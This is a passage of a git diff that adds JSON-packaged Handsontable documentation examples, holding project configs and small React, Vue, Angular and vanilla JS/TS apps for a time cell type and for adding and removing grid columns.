    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst localeOptions: { value: string; label: string }[] = [\n { value: 'ar-AR', label: 'Arabic (Global)' },\n { value: 'cs-CZ', label: 'Czech (Czechia)' },\n { value: 'de-CH', label: 'German (Switzerland)' },\n { value: 'de-DE', label: 'German (Germany)' },\n { value: 'en-US', label: 'English (United States)' },\n { value: 'es-MX', label: 'Spanish (Mexico)' },\n { value: 'fa-IR', label: 'Persian (Iran)' },\n { value: 'fr-FR', label: 'French (France)' },\n { value: 'hr-HR', label: 'Croatian (Croatia)' },\n { value: 'it-IT', label: 'Italian (Italy)' },\n { value: 'ja-JP', label: 'Japanese (Japan)' },\n { value: 'ko-KR', label: 'Korean (Korea)' },\n { value: 'lv-LV', label: 'Latvian (Latvia)' },\n { value: 'nb-NO', label: 'Norwegian Bokmal (Norway)' },\n { value: 'nl-NL', label: 'Dutch (Netherlands)' },\n { value: 'pl-PL', label: 'Polish (Poland)' },\n { value: 'pt-BR', label: 'Portuguese (Brazil)' },\n { value: 'ru-RU', label: 'Russian (Russia)' },\n { value: 'sr-SP', label: 'Serbian Latin (Serbia)' },\n { value: 'zh-CN', label: 'Chinese (Simplified, China)' },\n { value: 'zh-TW', label: 'Chinese (Traditional, Taiwan)' },\n];\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const dropdownRef = useRef(null);\n const [isOpen, setIsOpen] = useState(false);\n const [locale, setLocale] = useState('en-US');\n\n useEffect(() => {\n const handleOutsideClick = (e: MouseEvent) => {\n if (dropdownRef.current && !dropdownRef.current.contains(e.target as Node)) {\n setIsOpen(false);\n }\n };\n const handleEscape = (e: KeyboardEvent) => {\n if (e.key === 'Escape') {\n setIsOpen(false);\n }\n };\n\n document.addEventListener('click', handleOutsideClick);\n document.addEventListener('keydown', handleEscape);\n\n return () => {\n document.removeEventListener('click', handleOutsideClick);\n document.removeEventListener('keydown', handleEscape);\n };\n }, []);\n\n const handleSelect = (value: string) => {\n setLocale(value);\n setIsOpen(false);\n hotRef.current?.hotInstance?.updateSettings({ locale: value } as Handsontable.GridSettings);\n };\n\n const selectedLabel = localeOptions.find((o) => o.value === locale)?.label;\n\n const data = [\n { shift: 'Morning', start: '09:00', breakStart: '12:00', end: '17:00' },\n { shift: 'Afternoon', start: '13:30', breakStart: '16:00', end: '21:00' },\n { shift: 'Night', start: '22:00', breakStart: '01:00', end: '06:00' },\n { shift: 'Split', start: '08:00', breakStart: '12:30', end: '20:00' },\n { shift: 'Short day', start: '10:00', breakStart: '13:00', end: '15:00' },\n ];\n\n return (\n <>\n
    \n
    \n
    \n setIsOpen(!isOpen)}\n >\n {selectedLabel}\n \n \n {isOpen && (\n
      \n {localeOptions.map((opt) => (\n handleSelect(opt.value)}\n >\n {opt.label}\n \n ))}\n
    \n )}\n
    \n
    \n
    \n\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/time-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Time cell type"],"guide":"guides/cell-types/time-cell-type/time-cell-type.md","guideTitle":"Time cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/time-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..b12a0cae --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Time cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/time-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Time cell type"],"guide":"guides/cell-types/time-cell-type/time-cell-type.md","guideTitle":"Time cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/time-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__angular__example1.ts.json new file mode 100644 index 00000000..797cd500 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Adding and removing columns · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-column-adding',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n \n
    \n
    \n
    \n \n
    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n insertColumn(): void {\n const hot = this.hotTable?.hotInstance;\n\n // insert one column at the end of the grid\n hot?.alter('insert_col_end', hot.countCols() - 1, 1);\n }\n\n removeColumn(): void {\n const hot = this.hotTable?.hotInstance;\n\n // remove the last column, but keep at least one column in the grid\n if (hot && hot.countCols() > 1) {\n hot.alter('remove_col', hot.countCols() - 1, 1);\n }\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-adding/angular/example1.ts","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__angular__example2.ts.json new file mode 100644 index 00000000..7a2dcea1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-column-adding',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n `,\n})\nexport class AppComponent {\n readonly hotData = [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n // show only the column insert and remove items in the context menu\n contextMenu: ['col_left', 'col_right', 'remove_col'],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-adding/angular/example2.ts","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example1.js.json new file mode 100644 index 00000000..ac640ea6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Adding and removing columns · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register all Handsontable's modules\nregisterAllModules();\nconst container = document.querySelector('#example1');\nconst insertButton = document.querySelector('#insert-column');\nconst removeButton = document.querySelector('#remove-column');\nconst hot = new Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ],\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\ninsertButton.addEventListener('click', () => {\n // insert one column at the end of the grid\n hot.alter('insert_col_end', hot.countCols() - 1, 1);\n});\nremoveButton.addEventListener('click', () => {\n // remove the last column, but keep at least one column in the grid\n if (hot.countCols() > 1) {\n hot.alter('remove_col', hot.countCols() - 1, 1);\n }\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-adding/javascript/example1.js","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example1.ts.json new file mode 100644 index 00000000..4261debc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Adding and removing columns · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register all Handsontable's modules\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst insertButton = document.querySelector('#insert-column')!;\nconst removeButton = document.querySelector('#remove-column')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ],\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\ninsertButton.addEventListener('click', () => {\n // insert one column at the end of the grid\n hot.alter('insert_col_end', hot.countCols() - 1, 1);\n});\n\nremoveButton.addEventListener('click', () => {\n // remove the last column, but keep at least one column in the grid\n if (hot.countCols() > 1) {\n hot.alter('remove_col', hot.countCols() - 1, 1);\n }\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-adding/javascript/example1.ts","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example2.js.json new file mode 100644 index 00000000..3dff12d0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register all Handsontable's modules\nregisterAllModules();\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ],\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n // show only the column insert and remove items in the context menu\n contextMenu: ['col_left', 'col_right', 'remove_col'],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-adding/javascript/example2.js","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example2.ts.json new file mode 100644 index 00000000..3c24df5c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register all Handsontable's modules\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ],\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n // show only the column insert and remove items in the context menu\n contextMenu: ['col_left', 'col_right', 'remove_col'],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-adding/javascript/example2.ts","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__react__example1.tsx.json new file mode 100644 index 00000000..833f171a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Adding and removing columns · Standard example · React 